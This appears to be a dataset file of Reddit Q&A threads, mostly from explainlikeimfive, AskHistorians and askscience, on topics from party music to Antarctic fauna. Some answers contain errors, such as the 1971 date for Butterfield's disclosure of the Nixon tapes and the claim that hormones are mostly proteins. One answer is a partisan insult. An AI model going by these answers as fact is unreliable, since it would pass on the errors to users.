{"q_id": "6rr0o2", "title": "why does playing music in the background of a social gathering put people at ease, allowing them to talk more comfortably whilst removing that awkward feeling?", "selftext": "EDIT: Placing this here as I think /r/AskReddit maybe have been the incorrect place to ask. \n\nEDIT #2: WOW! Thank you for the responses, I didn't expect to get  this many numerous, interesting and colourful replies. Thank you, you're all great :) ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6rr0o2/eli5_why_does_playing_music_in_the_background_of/", "answers": {"a_id": ["dl73hl4", "dl743qw", "dl75y25", "dl762u7", "dl79139", "dl79vpk", "dl7a7z4", "dl7ainx", "dl7askx", "dl7aymj", "dl7b32p", "dl7bnsp", "dl7cej4", "dl7ck0d", "dl7cx8b", "dl7cxv7", "dl7ddyg", "dl7dp3e", "dl7dwix", "dl7fuzn", "dl7h0lh", "dl7hm7h", "dl7j36e", "dl7kpw9", "dl7la0g", "dl7ln9u", "dl7ltf4", "dl7m1zx", "dl7mafa", "dl7mnoo", "dl7neiz", "dl7nnte", "dl7p3og", "dl7rfvb", "dl7s3ay", "dl7sg8p", "dl7tz4m", "dl7vmcx", "dl7vvxc", "dl7y97v", "dl86ati", "dl89j7p"], "score": [1041, 6809, 173, 28, 24, 39, 311, 4, 194, 15, 63, 32, 2, 2, 7, 12, 6, 45, 1174, 4, 2, 906, 61, 8, 2, 4, 2, 2, 2, 3, 2, 2, 4, 2, 2, 3, 5, 780, 2, 4, 2, 2], "text": ["Simply said: There aren't any awkward silences.\n\nTo expand a little on that, when there is a background noise (eg. Tv, music) it makes us less nervous to talk since we feel it's more allowed than after there has been a silence. ", "Maybe simple because when there's only silence, whenever you start talking, you feel like everyone is listening to what you're saying and so you feel some pressure.\nWhen there's music, you feel like what you're about to say isn't going to be the instant focus of everybody in the room.", "I think because then only the person you're speaking to can hear you. It gives a little privacy and allows a more intimate conservation. But when it's dead quiet everyone can hear everything. That's my theory. Source, my convoluted thought process. ", "I hate how this practice has spilled over into television. Now when i watch sports highlights, i have to endure loud, awful music in the background while commentators have to shout over it. ESPN started it a few years ago and now NFL network, NHL network and MLB network all do it. WTF is going on???", "Music sets the mood. Without music the mood of the room is set by the people talking, and if it's a room full of people being awkward and uncomfortable than part of your brain (sometimes unconsciously) will tell you that you're in an uncomfortable place. Having the right music tells that part of your brain that this is a room full of people having a good time rather than people trying to get to know each other", "1. No awkward silences.\n2. Good music has physiological consequences. Think about it. People listen to music to change their mood, so when they're talking to people, the music they're playing can do the same. Calm them down. Excite them. ", "I will add that the reason we like to dance together is because there's a deep subconscious discovery thing that happens. When you and I put on music and we both hear the same thing and move in rhythm to the music together there's a greater sense that you are *together.* As in we are both human beings experiencing the same thing.  There's an added level of empathy for your fellow dancers. A sense of belonging. That's how church and temple prayers work too. \n\nThere's actually tons of science they've done with infants and empathy and bouncing up and down to music vs. bouncing randomly while music is on. It's very interesting stuff. ", "I think it also gives a sense that something is going on. Have you ever just sat on ur couch with a laptop browsing or whatever and have it feel weird in the silence. You then just decide to put on the news or something on the TV. I guess there are also some actions or activities that innately feel unnatural without some other task that is running at the same time.", "Not to mention it's a natural conversation starter, it's either \"I love/hate this song\" or \" I saw this band on tour back in....\" \nor \"who the hell is playing Nickelback?\" or to quote Patrick Star, \"I don't get Jazz.\"  It's a shared experience when among strangers who may have no other common starting point.", "People don't usually like being the only noise in a group. Also, I find anyway, if it's music I am familiar with and like, I am more talkative. ", "I realize this is pedantic, but it's important to note that this isn't true of all music. \n\nMusic is very polarizing, and it has the power to drive people away just as quickly. Case in point: the owner of an inner-city convenience store who cleared loiterers by piping country music to the parking lot", "One point worth mentioning is when the music is too loud to hold a conversation people will drink faster, increasing sales.", "Privacy. People don't like being overheard by the entire room and when there's nothing but you and the people and no one is talking you don't want to be the first because then everyone is listening to you. That makes it public speaking something a lot of people have a fear of.\n\nWith music your voice only travels so far and even so people can listen to the music and not you. This makes it easier for people to begin talking as their effective radius of communication is much more intimate.", "Why has this morphed into playing music so loudly at a social gathering that people can't talk without shouting and usually can't be heard?", "To add to what others have said, it's ultimately about a sense of rhythm or \"order\". Without music, the sounds around you are disjointed, conversations clashing together, random noises Breaking in, etc. When music is on, it gives the space narrative flow. You're part of a system, a rythm. That's what our brains are wired to seek out. ", "Now I am thinking having music in class can help student focus more and learn faster and at the same time make professor relaxed. ", "Tl; dr\nIt removes the awkward silences.\n\nDuring communication with someone we don't know, we find silences uncomfortable. That is one of the reason why we use fillers (\"uhmmmm\", \"eeeeeh\") mid or between sentences.\nHaving background music, makes us focusing on the music instead of the silence, making us feeling comfortable.\n\nAlso music summons up emotions and memories and gives us something to talk about too.\nThe result is actually like feeling more at ease and like as we know the person more too.", "Musician here, with comment about this same phenomenon. 99% of gigs are about getting people talking, about being ignored yet appreciated.", "There's a lot of answers here and I feel most of them aren't really answering the question well.  Yes, there's the awkward silence part, but music is more than that. \n\nMusic is like audible emotions.  It can move your mood in a certain direction.  This is really important for social settings because it joins our moods and makes us feel in unison.  Those that are not willing or able to feel the mood of the music will likely move away from the party; which further separates everyone into those that are emotionally connected and those who are not. \n\nThis is probably one of the main reasons music has been useful for humans through our evolution.  It's an extension of our emotional/social selves and helps us to join together, bond, and unify our emotions.", "So as social creatures, humans find discomfort in being the oddball and sticking out. It helps create cohesive social units. People are uncomfortable and awkward in silence because if they are the one to start conversation they either stick out and everyone can hear, or they have to be super sneaky quiet which looks suspicious. Music and other background noise creates an auditory security blanket, where the individual conversations can be drowned out and providing a common social conversational topic starting point.", "Personal theory is that singing releases endorphins. Adding background noise to an environment forces everyone to speak louder, which simulates that.", "\u201cA moderate level of noise enhances creativity compared to both low and high levels of noise. Moderate background noise induces distraction which encourages individuals to think at a higher, abstract level, and consequently exhibit higher creativity.\u201d\n\nSource: Exploring the Effects of Ambient Noise on Creative Cognition\n\n[Rainy Cafe](_URL_0_)", "Not a scientist but as the official party thrower of my high school years I think I'm qualified to put in my two cents. I think it has to do with a few things. First if the music is loud enough it can help you feel more comfortable about talking because you won't be overheard by everyone, think about how awkward it is when the music stops and you're still talking about how hot that chick you've been staring at all night is. Anther reason is that music tends to put people in a specific mood, so you mostly hear happy music at social events, the booze helps with that too. One last reason I can think of is that it can helps ease the awkwardness of the silent moments of conversion, plus it helps to keep you from over thinking what to say next if you're just enjoying the music. All these things together help make it a more lively event that allows people to be more open and social. \n\nBonus. Dimming the lights helps to, people do crazier things if they don't feel like they have a spotlight on them.", "(obligatory \"I'm not an expert, but...\")\nIt might have something to do with the fact that from the moment our ears developed in our mother's womb, we've never experienced true silence. Before birth you heard the constant \"shush\" of her blood, the whoosh of her breathing, and the thump of her heartbeat- after you're born, white noise and music are still calming and help you sleep longer and more peacefully. Raindrops, waves, the wind, and many other natural sounds also help produce this effect. We even see it in those people that can't seem to sleep without a fan on- for some it might be temperature, but for others even just the noise of a fan is comforting. \nHowever, the sounds of the city/public places can get very stressful (sirens in the distance, cars rushing by, electronic (unnatural) sounds, and the constant babble of strangers (i.e. potential threats)) and can set a person on edge, even unconsciously. It can add a tense undertone to a situation, and cause us to retreat into 'social solitude', which could be one of our auto-responses to stress (shutting everyone and everything out in order to promote inner comfort). Playing music in the background would give your ears something soothing to fall back on, so that they had something to focus on other than the stressful sounds of society, putting you more at ease and thereby making conversation and interactions with others in general an easier affair.", "Even if l there is no one talking there is still sound so no awkward silence and no one feels obligated to forcefully fill the void.", "For me it doesn't, but that's because 100% of the time the music is terrible and only serves as an irritant.", "Personally i would say it stops people lugging in! Get to chat with the music as background noise to stop people listening in. It means people split off into groups of people they want to speak to, covered by the music. Its like a safety blanket.", "Maybe simple because when there's only silence, whenever you start talking, you feel like everyone is listening to what you're saying and so you feel some pressure. When there's music, you feel like what you're about to say isn't going to be the instant focus of everybody in the room", "I would say because people can talk at a normal level without feeling awkward or like people are listening in on their conversations", "Its like having a toddler around. It provides a universal topic for conversation and more importantly a common barrier between people to center their attention on.\n\nMusic in particular can strike many emotions in people, and depending on the choice of artist and song can and does create the whole mood and atmosphere of an event.\n\nAs an example an introverted person who is usually shy or just reluctant to engage in conversation or approach even a small group of people may get a temporary moment of  happiness when a song comes on they recognize or like. This happiness leads to excitement which can lead to courage. If they see somebody else who also enjoys the song, they won't see them as so much of a threat and would be more willing to put themselves out there.", "I always figured its because people like to dominate and talk over one another... their ego won't allow some other \"voice\" they can easily feel superior to by pretending they aren't there and speaking their own opinion over them.\n\nIt might also have a more subtle reason that when voices are being heard (song, tv, movie) that the \"conversation\" has already started, but that its not REALLY a conversation, its more just noise.  Sorta like how its easier to have a conversation with someone when you're in a crowded mall and everyone is talking to each other.  Its a sort of busy white noise that tells our monkey brains \"now its socially acceptable to make sound with our mouths\"  In contrast to, in silent moments, at home and such, i dunno people don't always have to talk.  There's time in the day to talk and time in the day to be silent.  People like both. In a socially new situation, people kinda need the \"ok, you can talk now\" of what I said above.", "Because when the talking fizzles out it isn't silent because you know what's Awkward? Silence. ", "As a DJ and Lyft driver, I have a theory of why music eases awkwardness and encourages conversation. \n\nMost importantly, it breaks the \"surface tension\" we perceive when words are spoken over silence. It prevents one's words from existing naked, in a vacuum, standing by themselves. Instead, the words flow along with the music, like a boat on a stream. \n\nAlso, it sets the tempo and emotional ambiance of the scene. It informs the listener of what cadence to use or even what topics to bring up. \n\nAlso once I heard that Love is not two people looking at each-other, but looking in the same direction- likewise, as others have said, it gives the people a common experience to share rather than a game to play. ", "I AM the person that HAS to have music on at gatherings. I'm known for turning on streaming tunes on my phone in my pocket at a simple backyard barbecue.  Music isn't just white noise and interruption of annoying guests, its soulful, bliss and comfort of what you enjoy. Without music , life is useless in my opinion. From the moment I wake until I'm ready to sleep, some sort of tune is on. It creates comfortable atmospheres for most anyone.  It's a subject to talk about. You can play games or song along to it. Some people simply just love a great beat to bob back and forth to. We are all different but we all enjoy music in one way or another. ", "For clubs, if there's loud enough music other people can't eaves drop on you and you can't hear other people. You can only talk to people close to you. For someone with mild social anxiety, being able to have a private conversation in public is a nice feeling. Once there's multiple conversations going on, add some alcohol, and you have an official good vibe party", "Because music, and more specifically rhythm, fires up your neurons and organizes them into consistent paths that help the brain function. \n\nHuman thought is totally chaotic and abstract. So when we are in our normal 'zoned out' state of mind, our neurons are firing in all different directions that cause confusion and anxiety and things of that nature. \n\nBut when those neurons find a path and a pattern to follow, it clears your mind. This is what happens when an idea clicks in your head, or when you are achieving something that you can do well on a high level (such as playing a sport or having a good conversation). \n\nRhythm is all based on patterns. The main reason we enjoy music in the first place is because our brains are pleased by these patterns; they're like a mind game. \n\nWhen music is playing in the background, your brain is subconsciously feeding off of the patterns of the song. It frees your brain from having to deal with millions more neurons trying to find a path. \n\nBasically, music frees your brain from having to do a lot more work. And it organizes the clutter into something more easy to understand. ", "This goes along with my discomfort in Target stores--they don't play any background music and it feels...wrong. It does have the nice effect of making me hurry rather than browse around, so I suppose that's a positive side-effect to being sort of creeped out while you're looking for cheap-ish clothes and movies. ", "I once wrote a sociology paper related to this topic. Music is often used by businesses to invite certain people and exclude others. Certain people feel more comfortable and relaxed when surrounded by unobtrusive classical music, perhaps played inside a high-end bistro. Others feel at home in a shop blaring EDM.\n\nSo it falls to the consumer to self-select. If a coffee shop consistently plays '60s folk music, a certain clientele will end up frequenting the place, further cementing the coffee shop's identity. But other potential customers may never return to that same coffee shop because they find that music uninteresting or off-putting. \n\nThis form of musical manipulation is used a lot in shopping malls--think of all the stores like Pac Sun that play skater punk or whatever else allegedly caters to their desired customers. Banana Republic does the same with adult contemporary. You can hear the shop before you even see it, and think \"This place is for me/is not for me.\" If your grandparent were walking right next to you when you passed one of these shops, they'd probably hear the music and immediately recognize that the shop has nothing to offer them, whether in terms of merchandise or social atmosphere. \n\nedit--spelling", "I thought music was there to cover up the awkward pauses...and so others can't hear the awkward conversation you were having.", "Several reasons. It covers awkward silences which may stop conversations dead and makes it sound to you like the conversation is continuing even if it's not. (Top tip if you're on a date or with someone one on one you don't know that we'll, put some back music on as it will ease the flow of conversation and mask any awkwardness. Plus it may give you a go to topic to talk about if you're stuck as you can at least discuss the music.) \n\nIt can set the theme or tone of an evening, get every pumped up for copious drinking and dancing or set the mood for a quiet DnD night. \n\nCommon interests spark dancing and conversation. This is best recognised at events like weddings where there's a DJ. Watch how the age and groupings of people change on the dancefloor depending on the song choice. A good DJ will recognise the patterns and play crowd pleasers. Whole generations are marked by their own decade and choice of music. \n\nSome studies have shown that people who sing a song together end up with synced up heartbeats and lower blood pressures. Potentially explains the \"holy\" feeling you get as part of church choirs and the like. Ever been in a room full of people singing the same song? It can be awesome inspiring (or creepy, depending on your take on synchronicity.)\n\nLots of reasons. ", "It's the same as kids talking on a school bus then stopping when the bus stops, the louder background levels induce social vehaviors for some reason.  We play 200 shows per year so i can attest to loud + alcohol.  Hahahaha   _URL_0_ ", "Because it provides context. Whether good or bad, people have a natural emotional reaction to music they hear based on their own personal experience, but usually people will have a somewhat similar experience based on rhythm and tempo. Music provides a common emotional baseline for people contextually from which they can draw a mutual experience from and thus \"relate\" to one another."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://rainycafe.com/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["www.knockkneedsally.com"], []]}
{"q_id": "89u9ty", "title": "\"the king is dead; long live the king!\" what's that mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/89u9ty/eli5_the_king_is_dead_long_live_the_king_whats/", "answers": {"a_id": ["dwtjzlu", "dwtk09n", "dwtk4mr"], "score": [5, 5, 3], "text": [" >  \"The King is dead\" is the announcement of a monarch who has just died. \"Long live The King!\" refers to the heir who immediately succeeds to a throne upon the death of the preceding monarch.\n\n[_URL_0_!](_URL_0_!)", "It's two different points.\n\n\"The (old) king is dead.\"  Meaning the monarch who rules the country has died.\n\n\"Long live the (new) king.\" Meaning that the new king has been crowned and is officially the ruler of the country.\n\nThe point here is that power transitions instantly.  The exact moment that Queen Elizabeth dies her son Charles will become King.  The coronation is just the formal ceremony acknowledging that this happened.", "When the king dies he is replaced by another person next in line to the throne. It is sort of a cynical commentary on the impossibility of the king being dead; the king is always alive because the death of one king just brings about the reign of another.\n\nSo the two parts of the phrase refer to two different people. \"The king is dead\" is the first king, \"Long live the king\" refers to the second person."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/The_king_is_dead,_long_live_the_king"], [], []]}
{"q_id": "18hamb", "title": "Was there a Soviet Pravda equivalent to Fox News' Rush Limbaugh?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18hamb/was_there_a_soviet_pravda_equivalent_to_fox_news/", "answers": {"a_id": ["c8etff5"], "score": [3], "text": ["By Rush Limbaugh, do you mean a pompous, overweight, unattractive, xenophobic buffoon hack? \n\nThen yes, Mr. Limbaugh would have fitted right in. \n\nMost people working at the *Pravda* had college degrees, though. And editors - they couldn't just write whatever and if they made up facts, it had to be officially sanctioned made up facts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dsolb7", "title": "seals, why can they draw their necks back into their bodies in an almost turtle like fashion?", "selftext": "Does this help them conserve body warmth?  Or absorb impact with the ice?  Just freaks me out how they seem to have both really long necks, but also no neck at all...", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dsolb7/eli5_seals_why_can_they_draw_their_necks_back/", "answers": {"a_id": ["f6ro4py"], "score": [2], "text": ["Seals ordinarily carry their heads closer to their bodies, with their necks in sort of an S shape. We can't see it because of their thick blubber, so it seems like they have a shorter neck than they really do. When they want to, they simply stretch their neck forward so their spine is straightened out. This helps them catch fish, much like how a swan or a snake will hold their necks in a curve, so they can \"shoot\" their heads forward and snag prey quickly without having to move their entire body."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "36sa5n", "title": "How did Stone Age peoples hunt big game, from deer to mammoths, without steel, horses, or rifles? Do we have accounts of how indigenous peoples hunted from any explorers or anthropologists?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/36sa5n/how_did_stone_age_peoples_hunt_big_game_from_deer/", "answers": {"a_id": ["crgt7zd"], "score": [5], "text": ["I can give a very cursory answer, but you might get a much better answer by cross posting in /r/askanthropology. \n\nHunting deer doesn't require a lot of equipment - it is not so difficult even for just an individual with a bow and arrows. Larger game, like mammoth, were probably group efforts. We also have evidence of other tactics people would use, such as bison jumps on the Great Plains. You find a suitably high cliff or other drop and chase a part of a herd of bison off of it. You then harvest what you need from the dead and wounded bison. Just generally, people are very creative in hunting large game. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1tgidl", "title": "Did Pirate/Privateer ships (1600-1800ish) train and do drills like their military counterparts?", "selftext": "Were military ships that much better at loading and aiming cannon while under fire? If yes, what difference would this have made when ships of different broadside weights fought each other? \nThanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tgidl/did_pirateprivateer_ships_16001800ish_train_and/", "answers": {"a_id": ["ce7uar8"], "score": [14], "text": ["I took a class on pirates and privateers and from what I can remember, pirate/privateer ships were mainly focussed on using fear tactics to get what they wanted. If they could convince you to give up your valuables without a fight, then that was the best scenario.\n\nThese sorts of ragtag crews were usually extremely accomplished seamen so it is likely that at least a few members of pirate/privateer ships had actually served in the military.\n\nDue to the fact that pirates and privateers only focussed on capturing merchant ships, I would say it is unlikely that most pirate ships had any sort of serious training regimen. It certainly is possible if you take a look at specific pirates/privateers. For instance, one of the greatest chinese pirates, Ching Shih, commanded her own private army and was able to use that army to successfully challenge the chinese empire of the time (early 1800s). I can't seem to find any links or sources detailing a training regimen, but it wouldn't be all that surprising if she had some sort of regimen for her thousands of troops.\n\nIf you want to talk about other types of \"drills\", then we can examine how pirate/privateer ships perfected the art of ship camouflage. They could make their ships look innocuous or poorly driven to give their victims a false sense of security. That would have taken serious training.\n\nBut as a whole? No, pirate/privateer ships were not known for strict training regimen. They both only preyed on merchant ships, not other war ships."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2jqry1", "title": "when i search in reddit, why don't i see any threads from 7 or 8 years ago?", "selftext": "Every thread/post is from the past 4 years. It doesn't matter what you search. Does reddit delete old threads/posts?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jqry1/eli5_when_i_search_in_reddit_why_dont_i_see_any/", "answers": {"a_id": ["cle925y"], "score": [7], "text": ["There's still a few around, like this one fron 8 years ago advertising reddit now supports comments. _URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/reddit.com/comments/17913/reddit_now_supports_comments/?sort=old"]]}
{"q_id": "3dfhn4", "title": "Is the hair on some insects and spiders similar to mammal hair/fur?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dfhn4/is_the_hair_on_some_insects_and_spiders_similar/", "answers": {"a_id": ["ct4zo6b"], "score": [3], "text": ["Keratin, a group of proteins, is a key structural component to fingernails, hair, and skin, as well as a few others. It is not found in insects and spiders because chitin serves an analogous role, with the exception of silk. Chitin is more like cellulose, a polysaccharide, than a protein. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2cqb50", "title": "how are waffle fries cut?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cqb50/eli5how_are_waffle_fries_cut/", "answers": {"a_id": ["cjhyeag", "cji1viq"], "score": [15, 5], "text": ["With a waffle fry cutter.\n\n_URL_0_", "Asking the important questions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.com/search?q=waffle+fry+cutter&amp;safe=off&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ei=5lfhU6-4Nqb28AGKp4H4BA&amp;sqi=2&amp;ved=0CAcQ_AUoAg&amp;biw=1536&amp;bih=737"], []]}
{"q_id": "4ci7ar", "title": "do animals have beauty standards? for example, would a randy male goat ever look at a really ugly, old female goat and think \"nah\"? or would they just screw literally anything of the same species and opposite gender?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ci7ar/eli5_do_animals_have_beauty_standards_for_example/", "answers": {"a_id": ["d1iec1d", "d1iejr2", "d1ifuim", "d1inxsk", "d1ip1hn"], "score": [19, 27, 5, 3, 2], "text": ["A lot of the time, it's the other way around.  Females won't let just any male have sex with them.  You see this a lot in birds.  The males are brightly colored to attract the females.  In this way, there are beauty standards.", "It depends a bit on the species but often animals are picky about whom they mate with.  Male animals are usually more brightly colored than females and this is most likely because it attracts a mate's attention which shows there is some level of visual attractiveness involved.", "Depends on the animal.\nCertain traits are more attractive to other animals the same way certain traits in people are attractive other people. \n\nThe more attractive your traits are the higher the breeding chance you have, for example display animals such as a peacock with more 'attractive' or 'pretty' display feathers will outcompete the less attractive 'ugly' one.\n\nWhereas in other species such as deer strength and dominance is attractive or 'pretty' so they headbut the crap outta each other to decide who's best. So in this case Strong=pretty, rather than beauty.", "Females of almost all species tend to be the chooser of mates. This is simply because the female carries the young and have a limited set of eggs so a wise investment must be made to produce offspring. Males, on the other hand, can disperse their sperm easily to hundreds of mates with little effort. Females will choose mates that are the most fit. Physical attraction may be part of this, and this is typically evident in species with exceptional visual features. For others it may come from a fight between males. \n", "[True story](_URL_0_): guppy fish will hang out with ugly friends so they seem more attractive by comparison, and it totally works.\n\nBeauty standards are, when you boil them down, standards for fitness. Although evolution has its quirks, for the most part, the traits animals look for as \"attractive\" are the traits that make that individual the most likely to survive, and their offspring by extension are the most likely to survive to have their own. Different species define those needs differently though, so that for instance many birds signal fitness with song. A strong, fast, smart bird will have a loud, interesting song.\n\nHumans are weird because our standards are so wrapped up in culture. Because we are so social, fitness is also determined by how the rest of the culture sees us. We're also weird because we're self-aware enough to change how we feel instead of blindly following our genetic programming."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.telegraph.co.uk/news/science/9867906/Guppies-use-ugly-friends-to-seem-more-attractive.html"]]}
{"q_id": "9uwgjl", "title": "I was watching Burns' \"The Vietnam War,\" which featured a lot of recorded private conversations of LBJ. In some of them he expressed his insecurities, which could surely damage his public image if somehow released or leaked back then. Who made those recordings? Why? Does the practice still continue?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9uwgjl/i_was_watching_burns_the_vietnam_war_which/", "answers": {"a_id": ["e983ahd"], "score": [143], "text": ["The practice of presidents secretly recording conversations in the oval office was started by President Franklin D. Roosevelt, who was angered by press misquoting him in the run-up to elections in 1940. When Roosevelt died, he left behind the secret listening device in a lamp, which every other president used from time to time all the way up until at least Nixon. The presidents, including JFK and LBJ, were ostensibly recording conversations in order to protect themselves (in the case of Kennedy during important discussions concerning the Bay of Pigs). From the records we have, some presidents apparently used the tapes more often than others, as Eisenhower, for instance, apparently only recorded 5 hours of audio.\n\nNixon had the most prolific collection of presidential recordings and seemed to become obsessed with installing more and more secret listening devices all over Washington. The recordings of all the presidents were finally exposed during the Nixon watergate scandal. During a live televised interview under oath, in 1971, a white house aide named Alexander Butterfield, who was in charge of installing at least one of the new lines ordered by Nixon, mentioned the secret recordings. According to Butterfield, Nixon's stated goal in making the recordings, which included two hidden microphones in lamps in the oval office, two in the cabinet room, and on all telephone lines in major rooms of the White House, in various office buildings throughout D.C. and even at Camp David, was to \"create a more accurate record of events.\" However many historians point to ego and paranoia as likely explanations.\n\nFor further reading on Nixon and his recordings, I highly recommend, [Nixon's Shadow: The History of an Image](_URL_1_) by David Greenberg.\n\nConsequently, after the revelation of secret tapes related to the watergate scandal, congress enacted the Presidential Recordings and Materials Preservation Act (PRMPA) of 1974, which placed Nixon's presidential records into federal custody to prevent their destruction. This is the act that made Nixon's secret recordings publicly available.\n\nThe rest of the presidents' recordings, at least those that were not protected for national security reasons, were soon to follow into the public domain, due to various reasons, but also because the recordings were deemed public work created with taxpayer money, and subject later to the Freedom of Information Act.\n\nYou can listen to the tapes yourself at the Miller Center, where they are archived by the University of Virginia. [_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://millercenter.org/the-presidency/secret-white-house-tapes", "https://www.amazon.com/Nixons-Shadow-History-David-Greenberg/dp/0393326160"]]}
{"q_id": "irfvx", "title": "How are hormones synthesized?", "selftext": "And how does it fit in with _URL_0_ ?\n\nI'm especially curious about how proteins affect synthesis (proteins are a necessary condition for hormone synthesis, i'm sure)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/irfvx/how_are_hormones_synthesized/", "answers": {"a_id": ["c261sut"], "score": [2], "text": ["Great question. Proteins drive almost all the [action in cells](_URL_1_). The function of a cell depends upon it's precise combination of different types of proteins. \n\nHormones, for the most part, ARE proteins themselves that [regulate the production of other proteins](_URL_3_). Specifically, they allow cells to communicate, cooperate, and coordinate over large distances by influencing each other's protein production. \n\nThey're synthesized the same way any other protein is: a gene for the hormone is transcribed from DNA to RNA. The RNA message is then used to create a protein at the ribosome. \n\nOnce synthesized, hormones work by affecting the amount of the RNA message that gets transcribed from the DNA for other proteins, which ultimately affects levels of protein production, and therefore, function of a cell. \n\nHormones can, for example, affect the production levels of other hormones, often in the form of [feedback loops](_URL_2_). \n\nIn short, they function like this (altered from the wikipedia link): _URL_0_"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Central_Dogma_of_Biology"], "answers_urls": [["http://i.imgur.com/4viqu.jpg", "http://en.wikipedia.org/wiki/Protein#Cellular_functions", "http://en.wikipedia.org/wiki/Negative_feedback_loop", "http://en.wikipedia.org/wiki/Protein_hormone"]]}
{"q_id": "1h5wl8", "title": "I understand the first 4 derivatives of position, (displacement, velocity, acceleration, and jerk) but can someone explain snap to me?", "selftext": "Everything up to acceleration is quite easy to understand.  Even jerk is somewhat easy: the change in acceleration.  But how do you explain snap, the change in the change in acceleration, in layman's terms...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1h5wl8/i_understand_the_first_4_derivatives_of_position/", "answers": {"a_id": ["car67ys", "car699j", "car6aog", "car7xoe"], "score": [7, 12, 84, 6], "text": [" >  the change in the change in acceleration\n\nI think you just explained it pretty well yourself. The higher the derivative is, the harder it is to grasp the concept behind it intuitively.", "It's the rate of change of jerk :)\n\nFor these types of things it's better to not seek intuitive explanation anymore, because they are buried in layers of intuitive explanations. It's better to just think of them via their mathematical definition.", "Let's add a layer of abstraction:\n\nYou have a foot pedal, and the position of that pedal perfectly controls the acceleration of a vehicle, Jerk is how fast the pedal is moving, and snap is the acceleration of the foot pedal.", "Depends what you're looking for. There's nothing *qualitatively* different about snap compared to jerk, and so on. If you're okay with thinking of jerk as the rate of change of acceleration, what's wrong with thinking of snap as the rate of change of jerk? Those sound like almost the same explanation to me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "64sbvt", "title": "how and how long do micronutriments like vitamins last in juices or cooked food?", "selftext": "I heard that vitamins get degraded by sunlight in orange juices and such, and I was wondering how that happens, and was wondering if we had the same sort of micronutriment decrease when we keep cooked leftovers and eat them.\n\nThanks", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/64sbvt/eli5_how_and_how_long_do_micronutriments_like/", "answers": {"a_id": ["dg4n12k"], "score": [2], "text": ["It all depends on what micro*nutrient* you're talking about. Some definitely do degrade with heat/cooking, while others aren't affected much.\nOn the flip side, in some cases cooking makes foods safer to eat, and I'm not talking about killing pathogens \u2013 heat can transform toxic or semi-harmful substances into ones that are safer to consume.\n\nIs there any in particular you want to know about?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2s7tz8", "title": "Did Antarctica's land wildlife go extinct? Or did it evolve into the marine wildlife that lives there presently?", "selftext": "Given that [Antarctica during the Triassic period](_URL_0_) was temperate and presumably inhabited by land animals, and [present day Antarctica has no strictly land-dwelling vertebrates](_URL_1_), where did all the animals go as Antarctica became colder/drier?\n\nDid they go entirely extinct, or are some of the pinnipeds/cetaceans/birds that live there now descended from antarctic animals? \n\n^((By antarctic animals, I mean land vertebrates that lived there *after* Antarctica split from Pangea, not their cousins that lived on the other continents, and not animals that had already adapted to a marine/migratory lifestyle before the split.))", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2s7tz8/did_antarcticas_land_wildlife_go_extinct_or_did/", "answers": {"a_id": ["cnn4r4s"], "score": [112], "text": ["Seals originated in or near the [arctic](_URL_0_) and cetacians originated in [Pakistan](_URL_2_), so they aren't from Antarctica at all.  Penguins did ancestrally live in the southern hemisphere, however they were flightless and aquatic long before Antarctica got it's glaciers.  See this early penguin from New Zealand, for example _URL_1_\n\nThe stuff that used to live on Antarctica went extinct.  It's a shame, there was probably an interesting batch of marsupials living there.  We don't know much about them though, because of the difficulty of digging for fossils."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Pangaea#mediaviewer/File:Blakey_220moll.jpg", "http://en.wikipedia.org/wiki/Wildlife_of_Antarctica"], "answers_urls": [["http://www.sciencedaily.com/releases/2009/04/090422132832.htm", "http://en.wikipedia.org/wiki/Waimanu", "http://en.wikipedia.org/wiki/Evolution_of_cetaceans"]]}
